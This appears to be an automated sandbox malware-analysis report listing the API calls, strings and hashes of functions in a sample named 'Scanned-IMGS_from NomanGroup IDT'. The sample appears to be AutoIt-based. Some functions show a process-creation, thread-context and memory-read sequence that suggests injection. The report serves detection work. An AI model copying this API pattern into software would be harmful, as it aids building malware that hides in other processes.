Opcode Fuzzy Hash: 463af00f0d8c18ee1c456aa3683d0cbcc8a1d9b1ff42be713a645beb3481d670
Instruction Fuzzy Hash: 5E21F7B1901349AFDB10DFA4EC89BDEBBB4FB19701F00812AF511AA2A0D7B50546DF99

Function 0049065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0049039A: CreateFileW.KERNELBASE(00000000,00000000,?,00490704,?,?,00000000,?,00490704,00000000,0000000C), ref: 004903B7

GetLastError.KERNEL32 ref: 0049076F
__dosmaperr.LIBCMT ref: 00490776
GetFileType.KERNELBASE(00000000), ref: 00490782
GetLastError.KERNEL32 ref: 0049078C
__dosmaperr.LIBCMT ref: 00490795
CloseHandle.KERNEL32(00000000), ref: 004907B5
CloseHandle.KERNEL32(?), ref: 004908FF
GetLastError.KERNEL32 ref: 00490931
__dosmaperr.LIBCMT ref: 00490938

Strings

H, xrefs: 004908BD

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: af282b47550ed7f352f6e64701acbcb583d790c52155a3869c27289e2231030d
Instruction ID: dfa2e89df4b69bac3fa26ed0e1969bd96c321a3133d136d2bc8529c79230d3b8
Opcode Fuzzy Hash: af282b47550ed7f352f6e64701acbcb583d790c52155a3869c27289e2231030d
Instruction Fuzzy Hash: ABA12732A001048FDF29EF68D8917AE7FA0AB46324F14416EF8159B3D2D7399C17DB99

Function 0045344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00453A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00521418,?,00452E7F,?,?,?,00000000), ref: 00453A78

Part of subcall function 00453357: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00453379

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 0045356A
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 0049318D
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 004931CE
RegCloseKey.ADVAPI32(?), ref: 00493210
_wcslen.LIBCMT ref: 00493277
_wcslen.LIBCMT ref: 00493286

Strings

Software\AutoIt v3\AutoIt, xrefs: 00453560
\, xrefs: 0049328C
Include, xrefs: 00493184, 004931C5
\Include\, xrefs: 00453527

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 98802146-2727554177
Opcode ID: 162ee6dcb699acba039095866e9c5104eeccf69605ed7a435e583f8f3c012a3e
Instruction ID: 9e985ed61b641c7ead6cb54fa2a3443744b40e0c07aac146d53caef695313082
Opcode Fuzzy Hash: 162ee6dcb699acba039095866e9c5104eeccf69605ed7a435e583f8f3c012a3e
Instruction Fuzzy Hash: 7D71A271404300AEC714DF66EC8196BBBE8FFA6345F50082FF94587161EB389A4DCB5A

Function 00452B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00452B8E
LoadCursorW.USER32(00000000,00007F00), ref: 00452B9D
LoadIconW.USER32(00000063), ref: 00452BB3
LoadIconW.USER32(000000A4), ref: 00452BC5
LoadIconW.USER32(000000A2), ref: 00452BD7
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00452BEF
RegisterClassExW.USER32(?), ref: 00452C40

Part of subcall function 00452CD4: GetSysColorBrush.USER32(0000000F), ref: 00452D07
Part of subcall function 00452CD4: RegisterClassExW.USER32(00000030), ref: 00452D31
Part of subcall function 00452CD4: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00452D42
Part of subcall function 00452CD4: InitCommonControlsEx.COMCTL32(?), ref: 00452D5F
Part of subcall function 00452CD4: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00452D6F
Part of subcall function 00452CD4: LoadIconW.USER32(000000A9), ref: 00452D85
Part of subcall function 00452CD4: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00452D94

Strings

0, xrefs: 00452C0F
AutoIt v3, xrefs: 00452C2F
#, xrefs: 00452C16

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 6f2bb169402da565ff5b4824348857a83772fccae544e9ef5fa34f83f117c5fd
Instruction ID: bbe770da247e8ab765be7760bb19ae07f899debc41133c7f5c59f942ee3ea077
Opcode Fuzzy Hash: 6f2bb169402da565ff5b4824348857a83772fccae544e9ef5fa34f83f117c5fd
Instruction Fuzzy Hash: B2216070D00754ABCB20DF95EC84AAA7FB5FF39B51F00042AE500A6261D3B5054AEF8C

Function 0045B710 Relevance: 16.3, APIs: 1, Strings: 8, Instructions: 587COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 0045BB4E

Strings

p#R, xrefs: 004A0263
p%R, xrefs: 0045BB32
p#R, xrefs: 0045BA72
p#R, xrefs: 004A024F
p%R, xrefs: 0045B8DC
x#R, xrefs: 004A0207
x#R, xrefs: 004A0168
p#R, xrefs: 0045BB6B

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Init_thread_footer
String ID: p#R$p#R$p#R$p#R$p%R$p%R$x#R$x#R
API String ID: 1385522511-3327339328
Opcode ID: a1bb9dcc87ab296947c41b0a722bd10c6ddfa7bbf2fd5a78e8deca8dabdf0235
Instruction ID: 48c34529fc222ab3d0f06bb8e80433b5bba247e60ee34224d2c712e69376c51e
Opcode Fuzzy Hash: a1bb9dcc87ab296947c41b0a722bd10c6ddfa7bbf2fd5a78e8deca8dabdf0235
Instruction Fuzzy Hash: A132CE74A00209AFCB20CF54C894ABEB7B5EF55305F14805BED05AB352D77CAD4ACB9A

Function 00453170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,0045316A,?,?), ref: 004531D8
KillTimer.USER32(?,00000001,?,?,?,?,?,0045316A,?,?), ref: 00453204
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00453227
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,0045316A,?,?), ref: 00453232
CreatePopupMenu.USER32 ref: 00453246
PostQuitMessage.USER32(00000000), ref: 00453267

Strings

TaskbarCreated, xrefs: 0045322D

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 2883b60b272fd690364ecc3d7eb8f45992c65bb636f35196ed3620f0ff07c5c9
Instruction ID: 2e9e445818c933befdf3cbbd8faf241046543153f75236d5f89c6358da241ee6
Opcode Fuzzy Hash: 2883b60b272fd690364ecc3d7eb8f45992c65bb636f35196ed3620f0ff07c5c9
Instruction Fuzzy Hash: 20413C31200A44B6DF245F789D8977B3A55EB26387F04053BFD0285293CB7C9E4A976E

Function 0045DFD0 Relevance: 15.4, APIs: 2, Strings: 6, Instructions: 1414COMMON

Download Yara Rule

Strings

D%R, xrefs: 004A2FDA
D%R, xrefs: 0045E1E0
D%R, xrefs: 0045E4B1
Variable must be of type 'Object'., xrefs: 004A32B7
D%RD%R, xrefs: 0045E27E
D%R, xrefs: 004A302D

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID:
String ID: D%R$D%R$D%R$D%R$D%RD%R$Variable must be of type 'Object'.
API String ID: 0-2179602762
Opcode ID: 1a15e64aa3076951adc1ea9c61ae1d056c9832b4b555530df67f96d211ebc0de
Instruction ID: 418439cd600da5647ab97e058660e1f3680074b6c00073804152033f072f2003
Opcode Fuzzy Hash: 1a15e64aa3076951adc1ea9c61ae1d056c9832b4b555530df67f96d211ebc0de
Instruction Fuzzy Hash: 6DC2C374E00214DFCB18CF5AC880AAEB7B1BF19305F14855AED45AB352E339EE46CB59

Function 01572B30 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 01572C01
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 01572E27

Memory Dump Source

Source File: 00000000.00000002.1707942713.0000000001570000.00000040.00000020.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1570000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CreateFileFreeVirtual
String ID:
API String ID: 204039940-0
Opcode ID: e364f936384ad5a75a3e6820b612275e2b186d73597ef444eab7978b091760cf
Instruction ID: ae1671cc4d52fa239cb8c0114ad4e5c5c5212451fa4b4533e65cccd5f4074a22
Opcode Fuzzy Hash: e364f936384ad5a75a3e6820b612275e2b186d73597ef444eab7978b091760cf
Instruction Fuzzy Hash: 84A13970E00209EBDB14CFA4D895BEEBBB5FF48304F208559E615BB280D7759A81CFA5

Function 00452C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00452C91
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00452CB2
ShowWindow.USER32(00000000,?,?,?,?,?,?,00451CAD,?), ref: 00452CC6
ShowWindow.USER32(00000000,?,?,?,?,?,?,00451CAD,?), ref: 00452CCF

Strings

AutoIt v3, xrefs: 00452C89, 00452C8E, 00452C8F
edit, xrefs: 00452CAC

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: c322a459154e2023331b41ba5cae26efdd608427491458ce4be9cf1917d9e86c
Instruction ID: 77ce28273410a2a23bae70a799f65388917272fbd7a0899a37fd4ebf9f721931
Opcode Fuzzy Hash: c322a459154e2023331b41ba5cae26efdd608427491458ce4be9cf1917d9e86c
Instruction Fuzzy Hash: D8F03AB55403D47AEB304713AC88E772EBEDBFBF51F01046AF900A61A0C6750846EAB8

Function 01572910 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 140
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 01572800: Sleep.KERNELBASE(000001F4), ref: 01572811

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 01572A1D

Strings

52NAUXAHBMWDI8DM95PX, xrefs: 01572A80, 01572A83

Memory Dump Source

Source File: 00000000.00000002.1707942713.0000000001570000.00000040.00000020.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1570000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CreateFileSleep
String ID: 52NAUXAHBMWDI8DM95PX
API String ID: 2694422964-3727761029
Opcode ID: e5e67129ec0cbbf1694b2130d32280ec371ee25dd501bd27416fbd17088ae22f
Instruction ID: 93e3fe94078dd53af7145e83c42ad9f96b1644a65ef6e514267858f94eb43e0e
Opcode Fuzzy Hash: e5e67129ec0cbbf1694b2130d32280ec371ee25dd501bd27416fbd17088ae22f
Instruction Fuzzy Hash: A751A270D0429DDAEF11DBA4D909BEFBBB5AF55300F004199E6087B2C0D7B91B48CBA5

Function 00453B1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00453B0F,SwapMouseButtons,00000004,?), ref: 00453B40
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00453B0F,SwapMouseButtons,00000004,?), ref: 00453B61
RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,00453B0F,SwapMouseButtons,00000004,?), ref: 00453B83

Strings

Control Panel\Mouse, xrefs: 00453B3E

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 0799aed9cfb6e8a3db0299d0f0c9765f66eec20c0aefd290f15f7e6fd8cca84c
Instruction ID: c0f1b17a16642853538207c4c90912c435799b0c933145cfe96032cee888ed44
Opcode Fuzzy Hash: 0799aed9cfb6e8a3db0299d0f0c9765f66eec20c0aefd290f15f7e6fd8cca84c
Instruction Fuzzy Hash: 44113CB5510218FFDB20CFA5DC84EAFB7B8EF04786B10456AF805D7212D235AF459768

Function 01571800 Relevance: 6.7, APIs: 4, Instructions: 720
processthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 01571FBB
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 01572051
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 01572073

Memory Dump Source

Source File: 00000000.00000002.1707942713.0000000001570000.00000040.00000020.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1570000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: a1064bca5dd4e59baeb4dd15c17425526c3ac906ac097e7eb484fd7342f8cad6
Instruction ID: d86898944d4babe8feedbeea3237b01ef43aba99ef1938c7c5cdf33fd48861d8
Opcode Fuzzy Hash: a1064bca5dd4e59baeb4dd15c17425526c3ac906ac097e7eb484fd7342f8cad6
Instruction Fuzzy Hash: 08620930A14658DBEB24CFA4D841BDEB776FF58300F1091A9D20DEB290E7759E81CB5A

Function 00453923 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 004933A2

Part of subcall function 00456B57: _wcslen.LIBCMT ref: 00456B6A

Shell_NotifyIconW.SHELL32(00000001,?), ref: 00453A04

Strings

Line: , xrefs: 004933EB

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: IconLoadNotifyShell_String_wcslen
String ID: Line:
API String ID: 2289894680-1585850449
Opcode ID: 86bd55c1ce74b6268eb977d4a393d90a6f47b32a6de27387a1159676b12fcdb9
Instruction ID: 562472130365bf0e86ae9b11a79810b69766e2e0060a534b3e6ad91e703bf383
Opcode Fuzzy Hash: 86bd55c1ce74b6268eb977d4a393d90a6f47b32a6de27387a1159676b12fcdb9
Instruction Fuzzy Hash: F631A5B1408304AAC721EF20D845ADB77D8AF6175AF00492FF99983192DB789A5DC7CA

Function 00452DE3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 00492C8C

Part of subcall function 00453AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00453A97,?,?,00452E7F,?,?,?,00000000), ref: 00453AC2

Part of subcall function 00452DA5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00452DC4

Strings

`eQ, xrefs: 00492C85
X, xrefs: 00492C5A

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: X$`eQ
API String ID: 779396738-2904587998
Opcode ID: 205e8b6377a105ec0b3764a539352365e3c0d6c0a22f379875c480bbd2262247
Instruction ID: a3580d9681f84e20467c58091f6e55e0b5d8aaaf6a99f5c909ac9f153a438ac3
Opcode Fuzzy Hash: 205e8b6377a105ec0b3764a539352365e3c0d6c0a22f379875c480bbd2262247
Instruction Fuzzy Hash: 8B21C671A00258AFDF01DF95C8457EE7BF9AF49309F00405BE805AB242DBF8598DCB69

Function 0046FDDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00470668

Part of subcall function 004732A4: RaiseException.KERNEL32(?,?,?,0047068A,?,00521444,?,?,?,?,?,?,0047068A,00451129,00518738,00451129), ref: 00473304

__CxxThrowException@8.LIBVCRUNTIME ref: 00470685

Strings

Unknown exception, xrefs: 00470692

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
Opcode ID: dc8dee81f49ce8fd17bcd1b0438ed9be92ada9b5d8fff9127f86f8566e498967
Instruction ID: 5220ed482f5407b49d237c55b34df547e405ade97d102bdbfef022d020e60072
Opcode Fuzzy Hash: dc8dee81f49ce8fd17bcd1b0438ed9be92ada9b5d8fff9127f86f8566e498967
Instruction Fuzzy Hash: 41F0283490020DB3CB10FA66E856CEE7B6C5F40314B60C17BB81C916D2FF39EA69C589

Function 004D7F59 Relevance: 4.9, APIs: 3, Instructions: 430COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,00000067,000000FF,?,?,?), ref: 004D82F5
TerminateProcess.KERNEL32(00000000), ref: 004D82FC
FreeLibrary.KERNEL32(?,?,?,?), ref: 004D84DD

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Process$CurrentFreeLibraryTerminate
String ID:
API String ID: 146820519-0
Opcode ID: b458891f9da7acd71ad8b933259d941050e7ec315a45ba24dd3ae5cbb10173f8
Instruction ID: ac5f4a77e193a34b63539ac69ebc604f016c63268ebb59eecd779cd5de319072
Opcode Fuzzy Hash: b458891f9da7acd71ad8b933259d941050e7ec315a45ba24dd3ae5cbb10173f8
Instruction Fuzzy Hash: 06125A71A083419FC714DF28C494B2ABBE5BF85318F04895EE8898B352DB39ED45CF96

Function 004510F3 Relevance: 4.7, APIs: 3, Instructions: 153comCOMMON

Download Yara Rule

APIs

Part of subcall function 00451BC3: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00451BF4
Part of subcall function 00451BC3: MapVirtualKeyW.USER32(00000010,00000000), ref: 00451BFC
Part of subcall function 00451BC3: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00451C07
Part of subcall function 00451BC3: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00451C12
Part of subcall function 00451BC3: MapVirtualKeyW.USER32(00000011,00000000), ref: 00451C1A
Part of subcall function 00451BC3: MapVirtualKeyW.USER32(00000012,00000000), ref: 00451C22

Part of subcall function 00451B4A: RegisterWindowMessageW.USER32(00000004,?,004512C4), ref: 00451BA2

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 0045136A
OleInitialize.OLE32 ref: 00451388
CloseHandle.KERNEL32(00000000,00000000), ref: 004924AB

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 69271b893cbdc8e795e9dacb0e5edc087d3e0a618cf964f531e4e2e0211c840d
Instruction ID: af38272d358302648d61d3e55cb7377ba26c97f0af2ec5e3653785c545e02c8c
Opcode Fuzzy Hash: 69271b893cbdc8e795e9dacb0e5edc087d3e0a618cf964f531e4e2e0211c840d
Instruction Fuzzy Hash: FE71A4B4A01A448E87A4DF7AA9856573AE0BFBA34571481BED40AC7272E734440BEF4D

Function 004886AE Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000,00000000,?,?,004885CC,?,00518CC8,0000000C), ref: 00488704
GetLastError.KERNEL32(?,004885CC,?,00518CC8,0000000C), ref: 0048870E
